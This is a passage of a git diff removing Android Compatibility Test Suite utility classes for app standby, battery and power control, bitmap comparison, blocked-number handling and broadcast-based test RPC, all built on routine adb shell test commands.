- * Format: "SEND_SMS: allow; time=+23h12m54s980ms ago; rejectTime=+1h10m23s180ms"
- */
- private static String getOpState(String packageName, String opStr) throws IOException {
- return runCommand("appops get " + packageName + " " + opStr);
- }
-
- private static String runCommand(String command) throws IOException {
- return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java
deleted file mode 100644
index 6eeaae2..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.util.Log;
-
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-public class AppStandbyUtils {
- private static final String TAG = "CtsAppStandbyUtils";
-
- /**
- * Returns if app standby is enabled.
- *
- * @return true if enabled; or false if disabled.
- */
- public static boolean isAppStandbyEnabled() {
- final String result = SystemUtil.runShellCommand(
- "dumpsys usagestats is-app-standby-enabled").trim();
- return Boolean.parseBoolean(result);
- }
-
- /**
- * Sets enabled state for app standby feature for runtime switch.
- *
- * App standby feature has 2 switches. This one affects the switch at runtime. If the build
- * switch is off, enabling the runtime switch will not enable App standby.
- *
- * @param enabled if App standby is enabled.
- */
- public static void setAppStandbyEnabledAtRuntime(boolean enabled) {
- final String value = enabled ? "1" : "0";
- Log.d(TAG, "Setting AppStandby " + (enabled ? "enabled" : "disabled") + " at runtime.");
- SettingsUtils.putGlobalSetting("app_standby_enabled", value);
- }
-
- /**
- * Returns if app standby is enabled at runtime. Note {@link #isAppStandbyEnabled()} may still
- * return {@code false} if this method returns {@code true}, because app standby can be disabled
- * at build time as well.
- *
- * @return true if enabled at runtime; or false if disabled at runtime.
- */
- public static boolean isAppStandbyEnabledAtRuntime() {
- final String result =
- SystemUtil.runShellCommand("settings get global app_standby_enabled").trim();
- final boolean boolResult = result.equals("1") || result.equals("null");
- Log.d(TAG, "AppStandby is " + (boolResult ? "enabled" : "disabled") + " at runtime.");
- return boolResult;
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java
deleted file mode 100644
index 272bc67..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java
+++ /dev/null
@@ -1,139 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import static com.android.compatibility.common.util.SettingsUtils.putGlobalSetting;
-import static com.android.compatibility.common.util.TestUtils.waitUntil;
-
-import android.content.pm.PackageManager;
-import android.os.BatteryManager;
-import android.os.PowerManager;
-import android.provider.Settings.Global;
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
-
-import org.junit.Assume;
-
-public class BatteryUtils {
- private static final String TAG = "CtsBatteryUtils";
-
- private BatteryUtils() {
- }
-
- public static BatteryManager getBatteryManager() {
- return InstrumentationRegistry.getContext().getSystemService(BatteryManager.class);
- }
-
- public static PowerManager getPowerManager() {
- return InstrumentationRegistry.getContext().getSystemService(PowerManager.class);
- }
-
- /** Make the target device think it's off charger. */
- public static void runDumpsysBatteryUnplug() {
- SystemUtil.runShellCommandForNoOutput("cmd battery unplug");
-
- Log.d(TAG, "Battery UNPLUGGED");
- }
-
- /**
- * Set the battery level to {@code level} percent. The valid range is [0, 100].
- */
- public static void runDumpsysBatterySetLevel(int level) throws Exception {
- SystemUtil.runShellCommandForNoOutput(("cmd battery set level " + level));
-
- Log.d(TAG, "Battery level set to " + level);
- }
-
- /**
- * Set whether the device is plugged in to a charger or not.
- */
- public static void runDumpsysBatterySetPluggedIn(boolean pluggedIn) throws Exception {
- SystemUtil.runShellCommandForNoOutput(("cmd battery set ac " + (pluggedIn ? "1" : "0")));
-
- Log.d(TAG, "Battery AC set to " + pluggedIn);
- }
-
- /** Reset the effect of all the previous {@code runDumpsysBattery*} call */
- public static void runDumpsysBatteryReset() {
- SystemUtil.runShellCommandForNoOutput(("cmd battery reset"));
-
- Log.d(TAG, "Battery RESET");
- }
-
- /**
- * Enable / disable battery saver. Note {@link #runDumpsysBatteryUnplug} must have been
- * executed before enabling BS.
- */
- public static void enableBatterySaver(boolean enabled) throws Exception {
- if (enabled) {
- SystemUtil.runShellCommandForNoOutput("cmd power set-mode 1");
- putGlobalSetting(Global.LOW_POWER_MODE, "1");
- waitUntil("Battery saver still off", () -> getPowerManager().isPowerSaveMode());
- waitUntil("Location mode still " + getPowerManager().getLocationPowerSaveMode(),
- () -> (PowerManager.LOCATION_MODE_NO_CHANGE
- != getPowerManager().getLocationPowerSaveMode()));
-
- Thread.sleep(500);
- waitUntil("Force all apps standby still off",
- () -> SystemUtil.runShellCommand("dumpsys alarm")
- .contains(" Force all apps standby: true\n"));
-
- } else {
- SystemUtil.runShellCommandForNoOutput("cmd power set-mode 0");
- putGlobalSetting(Global.LOW_POWER_MODE, "0");
- putGlobalSetting(Global.LOW_POWER_MODE_STICKY, "0");
- waitUntil("Battery saver still on", () -> !getPowerManager().isPowerSaveMode());
- waitUntil("Location mode still " + getPowerManager().getLocationPowerSaveMode(),
- () -> (PowerManager.LOCATION_MODE_NO_CHANGE
- == getPowerManager().getLocationPowerSaveMode()));
-
- Thread.sleep(500);
- waitUntil("Force all apps standby still on",
- () -> SystemUtil.runShellCommand("dumpsys alarm")
- .contains(" Force all apps standby: false\n"));
- }
-
- AmUtils.waitForBroadcastIdle();
- Log.d(TAG, "Battery saver turned " + (enabled ? "ON" : "OFF"));
- }
-
- /**
- * Turn on/off screen.
- */
- public static void turnOnScreen(boolean on) throws Exception {
- if (on) {
- SystemUtil.runShellCommandForNoOutput("input keyevent KEYCODE_WAKEUP");
- waitUntil("Device still not interactive", () -> getPowerManager().isInteractive());
-
- } else {
- SystemUtil.runShellCommandForNoOutput("input keyevent KEYCODE_SLEEP");
- waitUntil("Device still interactive", () -> !getPowerManager().isInteractive());
- }
- AmUtils.waitForBroadcastIdle();
- Log.d(TAG, "Screen turned " + (on ? "ON" : "OFF"));
- }
-
- /** @return true if the device supports battery saver. */
- public static boolean isBatterySaverSupported() {
- final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
- return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
- }
-
- /** "Assume" the current device supports battery saver. */
- public static void assumeBatterySaverFeature() {
- Assume.assumeTrue("Device doesn't support battery saver", isBatterySaverSupported());
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BeforeAfterRule.java b/common/device-side/util/src/com/android/compatibility/common/util/BeforeAfterRule.java
deleted file mode 100644
index be75671..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BeforeAfterRule.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that provides "before" / "after" callbacks, which is useful to use with
- * {@link org.junit.rules.RuleChain}.
- */
-public class BeforeAfterRule implements TestRule {
- @Override
- public Statement apply(Statement base, Description description) {
- return new Statement() {
-
- @Override
- public void evaluate() throws Throwable {
- onBefore(base, description);
- try {
- base.evaluate();
- } finally {
- onAfter(base, description);
- }
- }
- };
- }
-
- protected void onBefore(Statement base, Description description) throws Throwable {
- }
-
- protected void onAfter(Statement base, Description description) throws Throwable {
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BitmapUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/BitmapUtils.java
deleted file mode 100644
index 88753b1..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BitmapUtils.java
+++ /dev/null
@@ -1,180 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.compatibility.common.util;
-
-import android.app.WallpaperManager;
-import android.content.Context;
-import android.graphics.Bitmap;
-import android.graphics.Bitmap.CompressFormat;
-import android.graphics.Color;
-import android.util.Log;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.lang.reflect.Method;
-import java.util.Random;
-
-public class BitmapUtils {
- private static final String TAG = "BitmapUtils";
-
- private BitmapUtils() {}
-
- private static Boolean compareBasicBitmapsInfo(Bitmap bmp1, Bitmap bmp2) {
- if (bmp1 == bmp2) {
- return Boolean.TRUE;
- }
-
- if (bmp1 == null) {
- Log.d(TAG, "compareBitmaps() failed because bmp1 is null");
- return Boolean.FALSE;
- }
-
- if (bmp2 == null) {
- Log.d(TAG, "compareBitmaps() failed because bmp2 is null");
- return Boolean.FALSE;
- }
-
- if ((bmp1.getWidth() != bmp2.getWidth()) || (bmp1.getHeight() != bmp2.getHeight())) {
- Log.d(TAG, "compareBitmaps() failed because sizes don't match "
- + "bmp1=(" + bmp1.getWidth() + "x" + bmp1.getHeight() + "), "
- + "bmp2=(" + bmp2.getWidth() + "x" + bmp2.getHeight() + ")");
- return Boolean.FALSE;
- }
- return null;
- }
-
- /**
- * Compares two bitmaps by pixels.
- */
- public static boolean compareBitmaps(Bitmap bmp1, Bitmap bmp2) {
- final Boolean basicComparison = compareBasicBitmapsInfo(bmp1, bmp2);
- if (basicComparison != null) return basicComparison.booleanValue();
-
- for (int i = 0; i < bmp1.getWidth(); i++) {
- for (int j = 0; j < bmp1.getHeight(); j++) {
- if (bmp1.getPixel(i, j) != bmp2.getPixel(i, j)) {
- Log.d(TAG, "compareBitmaps(): pixels (" + i + ", " + j + ") don't match");
- return false;
- }
- }
- }
- return true;
- }
-
- /**
- * Compares two bitmaps by pixels, with a buffer for mistmatches.
- *
- * <p>For example, if {@code minimumPrecision} is 0.99, at least 99% of the pixels should
- * match.
- */
- public static boolean compareBitmaps(Bitmap bmp1, Bitmap bmp2, double minimumPrecision) {
- final Boolean basicComparison = compareBasicBitmapsInfo(bmp1, bmp2);
- if (basicComparison != null) return basicComparison.booleanValue();
-
- final int width = bmp1.getWidth();
- final int height = bmp1.getHeight();
-
- final long numberPixels = width * height;
- long numberMismatches = 0;
-
- for (int i = 0; i < width; i++) {
- for (int j = 0; j < height; j++) {
- if (bmp1.getPixel(i, j) != bmp2.getPixel(i, j)) {
- numberMismatches++;
- if (numberMismatches <= 10) {
- // Let's not spam logcat...
- Log.w(TAG, "compareBitmaps(): pixels (" + i + ", " + j + ") don't match");
- }
- }
- }
- }
- final double actualPrecision = ((double) numberPixels - numberMismatches) / (numberPixels);
- Log.v(TAG, "compareBitmaps(): numberPixels=" + numberPixels
- + ", numberMismatches=" + numberMismatches
- + ", minimumPrecision=" + minimumPrecision
- + ", actualPrecision=" + actualPrecision);
- return actualPrecision >= minimumPrecision;
- }
-
- public static Bitmap generateRandomBitmap(int width, int height) {
- final Bitmap bmp = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
- final Random generator = new Random();
- for (int x = 0; x < width; x++) {
- for (int y = 0; y < height; y++) {
- bmp.setPixel(x, y, generator.nextInt(Integer.MAX_VALUE));
- }
- }
- return bmp;
- }
-
- public static Bitmap generateWhiteBitmap(int width, int height) {
- final Bitmap bmp = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
- bmp.eraseColor(Color.WHITE);
- return bmp;
- }
-
- public static Bitmap getWallpaperBitmap(Context context) throws Exception {
- WallpaperManager wallpaperManager = WallpaperManager.getInstance(context);
- Class<?> noparams[] = {};
- Class<?> wmClass = wallpaperManager.getClass();
- Method methodGetBitmap = wmClass.getDeclaredMethod("getBitmap", noparams);
- return (Bitmap) methodGetBitmap.invoke(wallpaperManager, null);
- }
-
- public static ByteArrayInputStream bitmapToInputStream(Bitmap bmp) {
- final ByteArrayOutputStream bos = new ByteArrayOutputStream();
- bmp.compress(CompressFormat.PNG, 0 /*ignored for PNG*/, bos);
- byte[] bitmapData = bos.toByteArray();
- return new ByteArrayInputStream(bitmapData);
- }
-
- private static void logIfBitmapSolidColor(String fileName, Bitmap bitmap) {
- int firstColor = bitmap.getPixel(0, 0);
- for (int x = 0; x < bitmap.getWidth(); x++) {
- for (int y = 0; y < bitmap.getHeight(); y++) {
- if (bitmap.getPixel(x, y) != firstColor) {
- return;
- }
- }
- }
-
- Log.w(TAG, String.format("%s entire bitmap color is %x", fileName, firstColor));
- }
-
- public static void saveBitmap(Bitmap bitmap, String directoryName, String fileName) {
- new File(directoryName).mkdirs(); // create dirs if needed
-
- Log.d(TAG, "Saving file: " + fileName + " in directory: " + directoryName);
-
- if (bitmap == null) {
- Log.d(TAG, "File not saved, bitmap was null");
- return;
- }
-
- logIfBitmapSolidColor(fileName, bitmap);
-
- File file = new File(directoryName, fileName);
- try (FileOutputStream fileStream = new FileOutputStream(file)) {
- bitmap.compress(Bitmap.CompressFormat.PNG, 0 /* ignored for PNG */, fileStream);
- fileStream.flush();
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberService.java b/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberService.java
deleted file mode 100644
index 360c078..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberService.java
+++ /dev/null
@@ -1,96 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static android.provider.BlockedNumberContract.BlockedNumbers.COLUMN_ORIGINAL_NUMBER;
-import static android.provider.BlockedNumberContract.BlockedNumbers.CONTENT_URI;
-
-import android.app.IntentService;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.ResultReceiver;
-import android.util.Log;
-
-/**
- * A service to handle interactions with the BlockedNumberProvider. The BlockedNumberProvider
- * can only be accessed by the primary user. This service can be run as a singleton service
- * which will then be able to access the BlockedNumberProvider from a test running in a
- * secondary user.
- */
-public class BlockedNumberService extends IntentService {
-
- static final String INSERT_ACTION = "android.telecom.cts.InsertBlockedNumber";
- static final String DELETE_ACTION = "android.telecom.cts.DeleteBlockedNumber";
- static final String PHONE_NUMBER_EXTRA = "number";
- static final String URI_EXTRA = "uri";
- static final String ROWS_EXTRA = "rows";
- static final String RESULT_RECEIVER_EXTRA = "resultReceiver";
-
- private static final String TAG = "CtsBlockNumberSvc";
-
- private ContentResolver mContentResolver;
-
- public BlockedNumberService() {
- super(BlockedNumberService.class.getName());
- }
-
- @Override
- public void onHandleIntent(Intent intent) {
- Log.i(TAG, "Starting BlockedNumberService service: " + intent);
- if (intent == null) {
- return;
- }
- Bundle bundle;
- mContentResolver = getContentResolver();
- switch (intent.getAction()) {
- case INSERT_ACTION:
- bundle = insertBlockedNumber(intent.getStringExtra(PHONE_NUMBER_EXTRA));
- break;
- case DELETE_ACTION:
- bundle = deleteBlockedNumber(Uri.parse(intent.getStringExtra(URI_EXTRA)));
- break;
- default:
- bundle = new Bundle();
- break;
- }
- ResultReceiver receiver = intent.getParcelableExtra(RESULT_RECEIVER_EXTRA);
- receiver.send(0, bundle);
- }
-
- private Bundle insertBlockedNumber(String number) {
- Log.i(TAG, "insertBlockedNumber: " + number);
-
- ContentValues cv = new ContentValues();
- cv.put(COLUMN_ORIGINAL_NUMBER, number);
- Uri uri = mContentResolver.insert(CONTENT_URI, cv);
- Bundle bundle = new Bundle();
- bundle.putString(URI_EXTRA, uri.toString());
- return bundle;
- }
-
- private Bundle deleteBlockedNumber(Uri uri) {
- Log.i(TAG, "deleteBlockedNumber: " + uri);
-
- int rows = mContentResolver.delete(uri, null, null);
- Bundle bundle = new Bundle();
- bundle.putInt(ROWS_EXTRA, rows);
- return bundle;
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberUtil.java
deleted file mode 100644
index e5a0ce4..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberUtil.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.android.compatibility.common.util.BlockedNumberService.DELETE_ACTION;
-import static com.android.compatibility.common.util.BlockedNumberService.INSERT_ACTION;
-import static com.android.compatibility.common.util.BlockedNumberService.PHONE_NUMBER_EXTRA;
-import static com.android.compatibility.common.util.BlockedNumberService.RESULT_RECEIVER_EXTRA;
-import static com.android.compatibility.common.util.BlockedNumberService.ROWS_EXTRA;
-import static com.android.compatibility.common.util.BlockedNumberService.URI_EXTRA;
-
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.ResultReceiver;
-
-import junit.framework.TestCase;
-
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Utility for starting the blocked number service.
- */
-public class BlockedNumberUtil {
-
- private static final int TIMEOUT = 2;
-
- private BlockedNumberUtil() {}
-
- /** Insert a phone number into the blocked number provider and returns the resulting Uri. */
- public static Uri insertBlockedNumber(Context context, String phoneNumber) {
- Intent intent = new Intent(INSERT_ACTION);
- intent.putExtra(PHONE_NUMBER_EXTRA, phoneNumber);
-
- return Uri.parse(runBlockedNumberService(context, intent).getString(URI_EXTRA));
- }
-
- /** Remove a number from the blocked number provider and returns the number of rows deleted. */
- public static int deleteBlockedNumber(Context context, Uri uri) {
- Intent intent = new Intent(DELETE_ACTION);
- intent.putExtra(URI_EXTRA, uri.toString());
-
- return runBlockedNumberService(context, intent).getInt(ROWS_EXTRA);
- }
-
- /** Start the blocked number service. */
- static Bundle runBlockedNumberService(Context context, Intent intent) {
- // Temporarily allow background service
- SystemUtil.runShellCommand("cmd deviceidle tempwhitelist " + context.getPackageName());
-
- final Semaphore semaphore = new Semaphore(0);
- final Bundle result = new Bundle();
-
- ResultReceiver receiver = new ResultReceiver(new Handler(Looper.getMainLooper())) {
- @Override
- protected void onReceiveResult(int resultCode, Bundle resultData) {
- result.putAll(resultData);
- semaphore.release();
- }
- };
- intent.putExtra(RESULT_RECEIVER_EXTRA, receiver);
- intent.setComponent(new ComponentName(context, BlockedNumberService.class));
-
- context.startService(intent);
-
- try {
- TestCase.assertTrue(semaphore.tryAcquire(TIMEOUT, TimeUnit.SECONDS));
- } catch (InterruptedException e) {
- TestCase.fail("Timed out waiting for result from BlockedNumberService");
- }
- return result;
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java b/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
deleted file mode 100755
index c26ddd0..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import androidx.annotation.Nullable;
-import android.util.Log;
-
-import java.util.concurrent.ArrayBlockingQueue;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-/**
- * A receiver that allows caller to wait for the broadcast synchronously. Notice that you should not
- * reuse the instance. Usage is typically like this:
- * <pre>
- * BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(context, "action");
- * try {
- * receiver.register();
- * Intent intent = receiver.awaitForBroadcast();
- * // assert the intent
- * } finally {
- * receiver.unregisterQuietly();
- * }
- * </pre>
- */
-public class BlockingBroadcastReceiver extends BroadcastReceiver {
- private static final String TAG = "BlockingBroadcast";
-
- private static final int DEFAULT_TIMEOUT_SECONDS = 30;
-
- private final BlockingQueue<Intent> mBlockingQueue;
- private final String mExpectedAction;
- private final Context mContext;
-
- public BlockingBroadcastReceiver(Context context, String expectedAction) {
- mContext = context;
- mExpectedAction = expectedAction;
- mBlockingQueue = new ArrayBlockingQueue<>(1);
- }
-
- @Override
- public void onReceive(Context context, Intent intent) {
- if (mExpectedAction.equals(intent.getAction())) {
- mBlockingQueue.add(intent);
- }
- }
-
- public void register() {
- mContext.registerReceiver(this, new IntentFilter(mExpectedAction));
- }
-
- /**
- * Wait until the broadcast and return the received broadcast intent. {@code null} is returned
- * if no broadcast with expected action is received within 30 seconds.
- */
- public @Nullable Intent awaitForBroadcast() {
- try {
- return mBlockingQueue.poll(DEFAULT_TIMEOUT_SECONDS, TimeUnit.SECONDS);
- } catch (InterruptedException e) {
- Log.e(TAG, "waitForBroadcast get interrupted: ", e);
- }
- return null;
- }
-
- /**
- * Wait until the broadcast and return the received broadcast intent. {@code null} is returned
- * if no broadcast with expected action is received within the given timeout.
- */
- public @Nullable Intent awaitForBroadcast(long timeoutMillis) {
- try {
- return mBlockingQueue.poll(timeoutMillis, TimeUnit.MILLISECONDS);
- } catch (InterruptedException e) {
- Log.e(TAG, "waitForBroadcast get interrupted: ", e);
- }
- return null;
- }
-
- public void unregisterQuietly() {
- try {
- mContext.unregisterReceiver(this);
- } catch (Exception ex) {
- Log.e(TAG, "Failed to unregister BlockingBroadcastReceiver: ", ex);
- }
- }
-}
\ No newline at end of file
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastRpcBase.java b/common/device-side/util/src/com/android/compatibility/common/util/BroadcastRpcBase.java
deleted file mode 100644
index 772e7d3..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastRpcBase.java
+++ /dev/null
@@ -1,148 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Looper;
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicReference;
-
-/**
- * Base class to help broadcast-based RPC.
- */
-public abstract class BroadcastRpcBase<TRequest, TResponse> {
- private static final String TAG = "BroadcastRpc";
-
- private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
-
- static final String ACTION_REQUEST = "ACTION_REQUEST";
- static final String EXTRA_PAYLOAD = "EXTRA_PAYLOAD";
- static final String EXTRA_EXCEPTION = "EXTRA_EXCEPTION";
-
- static Handler sMainHandler = new Handler(Looper.getMainLooper());
-
- /** Implement in a subclass */
- protected abstract byte[] requestToBytes(TRequest request);
-
- /** Implement in a subclass */
- protected abstract TResponse bytesToResponse(byte[] bytes);
-
- public TResponse invoke(ComponentName targetReceiver, TRequest request) throws Exception {
- // Create a request intent.
- Log.i(TAG, "Sending to: " + targetReceiver + (VERBOSE ? "\nRequest: " + request : ""));
-
- final Intent requestIntent = new Intent(ACTION_REQUEST)
- .setComponent(targetReceiver)
- .addFlags(Intent.FLAG_RECEIVER_FOREGROUND)
- .putExtra(EXTRA_PAYLOAD, requestToBytes(request));
-
- // Send it.
- final CountDownLatch latch = new CountDownLatch(1);
- final AtomicReference<Bundle> responseBundle = new AtomicReference<>();
-
- InstrumentationRegistry.getContext().sendOrderedBroadcast(
- requestIntent, null, new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- responseBundle.set(getResultExtras(false));
- latch.countDown();
- }
- }, sMainHandler, 0, null, null);
-
- // Wait for a reply and check it.
- final boolean responseArrived = latch.await(60, TimeUnit.SECONDS);
- assertTrue("Didn't receive broadcast result.", responseArrived);
-
- // TODO If responseArrived is false, print if the package / component is installed?
-
- assertNotNull("Didn't receive result extras", responseBundle.get());
-
- final String exception = responseBundle.get().getString(EXTRA_EXCEPTION);
- if (exception != null) {
- fail("Target throw exception: receiver=" + targetReceiver
- + "\nException: " + exception);
- }
-
- final byte[] resultPayload = responseBundle.get().getByteArray(EXTRA_PAYLOAD);
- assertNotNull("Didn't receive result payload", resultPayload);
-
- Log.i(TAG, "Response received: " + (VERBOSE ? resultPayload.toString() : ""));
-
- return bytesToResponse(resultPayload);
- }
-
- /**
- * Base class for a receiver for a broadcast-based RPC.
- */
- public abstract static class ReceiverBase<TRequest, TResponse> extends BroadcastReceiver {
- @Override
- public final void onReceive(Context context, Intent intent) {
- assertEquals(ACTION_REQUEST, intent.getAction());
-
- // Parse the request.
- final TRequest request = bytesToRequest(intent.getByteArrayExtra(EXTRA_PAYLOAD));
-
- Log.i(TAG, "Request received: " + (VERBOSE ? request.toString() : ""));
-
- Throwable exception = null;
-
- // Handle it and generate a response.
- TResponse response = null;
- try {
- response = handleRequest(context, request);
- Log.i(TAG, "Response generated: " + (VERBOSE ? response.toString() : ""));
- } catch (Throwable e) {
- exception = e;
- Log.e(TAG, "Exception thrown: " + e.getMessage(), e);
- }
-
- // Send back.
- final Bundle extras = new Bundle();
- if (response != null) {
- extras.putByteArray(EXTRA_PAYLOAD, responseToBytes(response));
- }
- if (exception != null) {
- extras.putString(EXTRA_EXCEPTION,
- exception.toString() + "\n" + Log.getStackTraceString(exception));
- }
- setResultExtras(extras);
- }
-
- /** Implement in a subclass */
- protected abstract TResponse handleRequest(Context context, TRequest request)
- throws Exception;
-
- /** Implement in a subclass */
- protected abstract byte[] responseToBytes(TResponse response);
-
- /** Implement in a subclass */
- protected abstract TRequest bytesToRequest(byte[] bytes);
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestBase.java b/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestBase.java
deleted file mode 100644
index 7500050..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestBase.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
